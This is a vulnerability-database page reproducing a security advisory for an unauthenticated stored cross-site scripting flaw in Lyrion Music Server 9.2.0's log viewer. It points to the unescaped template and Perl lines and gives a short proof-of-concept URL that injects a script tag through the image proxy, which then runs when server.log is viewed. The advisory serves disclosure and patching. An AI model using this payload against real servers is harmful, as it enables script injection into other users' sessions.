Lucene search
K

Lyrion Music Server 9.2.0 (server.log) Unauthenticated Stored XSS

🗓️ 05 Jun 2026 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 6 Views

Unauthenticated stored cross site scripting in Lyrion Music Server log viewer allows script injection.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-50231
5 Jun 202613:24
attackerkb
CVE
CVE-2026-50231
5 Jun 202613:24
cve
Cvelist
CVE-2026-50231 Lyrion Music Server 9.2.0 Unauthenticated Stored XSS via server.log
5 Jun 202613:24
cvelist
EUVD
EUVD-2026-34830
5 Jun 202613:24
euvd
NVD
CVE-2026-50231
5 Jun 202614:16
nvd
Packet Storm
📄 Lyrion Music Server 9.2.0 server.log Persistent Cross Site Scripting
5 Jun 202600:00
packetstorm
Positive Technologies
PT-2026-46950
5 Jun 202600:00
ptsecurity
<html><body><p>Lyrion Music Server 9.2.0 (server.log) Unauthenticated Stored XSS


Vendor: LMS Community
Product web page: https://www.lyrion.org
Affected version 9.2.0

Summary: Lyrion Music Server (formerly Logitech Media Server, and
often abbreviated as "LMS" ) is open-source software which can control
and serve (stream) music to a wide range of physical and virtual audio
players called Squeezeboxes. Lyrion Music Server can stream your local
music collection, internet radio stations, and content from many streaming
services (with and without subscriptions).

Desc: The log viewer reflects request parameters and raw log content into
HTML with no escaping. Template Toolkit has no global auto-escaping so any
[% var %] without an explicit | html filter is an injection point. The search,
lines and path query parameters are reflected directly, and log lines are
emitted as raw HTML. Any attacker-provided value that gets logged (a crafted
URL, User-Agent, stream title, player name) becomes stored XSS.

============================================================================
/HTML/EN/log.html
-------------------
85:  <input ...="" id="search" name="search" type="text" value="[% search %]"/>
98:  <span><a href="/[% path %]?zip=1">[% "DOWNLOAD" | string %]</a></span>
100: <input id="lines" name="lines" type="hidden" value="[% lines %]"/>
103: </p><pre>[% logLines %]</pre>


/Slim/Web/Pages/Common.pm  (logFile)
------------------------------------
508:  my $search = $params-&gt;{search};
...   $line = "<span style='\"color:red\"'>$line</span>" if ...;
549:  return Slim::Web::HTTP::filltemplatefile("log.html", $params);
============================================================================

Tested on: Windows 10 (64-bit) - EN
           Lyrion Music Server (9.2.0 - 1779973211)
           Perl/5.32.1
           SQLite


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5989
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5989
CVE ID: CVE-2026-50231
CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-50231


27.05.2026

--


http://localhost:9000/imageproxy/file:////Zero%20Science%20Lab%20is%3Cscript%3Econfirm(%22Awesome!%22)%3C/script%3E

Viewing log at http://localhost:9000/server.log:
...
...
[26-05-29 14:32:44.5987] Slim::Web::ImageProxy::__ANON__ (376) Artwork resize for imageproxy/file:////Zero Science Lab is failed
...
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 45.1
CVSS 3.17.2
6